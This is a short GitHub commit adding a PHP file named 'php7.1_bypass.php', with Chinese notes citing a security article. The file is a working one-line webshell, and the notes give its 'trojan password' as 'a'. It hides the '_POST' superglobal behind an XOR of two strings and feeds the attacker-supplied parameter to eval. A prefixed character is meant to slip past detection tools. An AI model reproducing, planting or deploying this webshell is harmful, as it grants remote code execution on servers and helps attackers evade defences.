Create php7.1_bypass.php

from : https://www.anquanke.com/post/id/193787
参数$b的前面加上“n"就成功绕过了,当然同理,你也可以在参数$b的前面加上"\"、"\t"、"\r"等等也是可以绕过的。
在参数$b的前面加上"\n",""、"\t"、"\r"等等也是可以绕过的。

木马密码:a
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tennc 2019-12-06 18:33:51 +08:00 committed by GitHub
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commit c290a06bc9
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php/php7.1_bypass.php Normal file
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<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("n".$b);
?>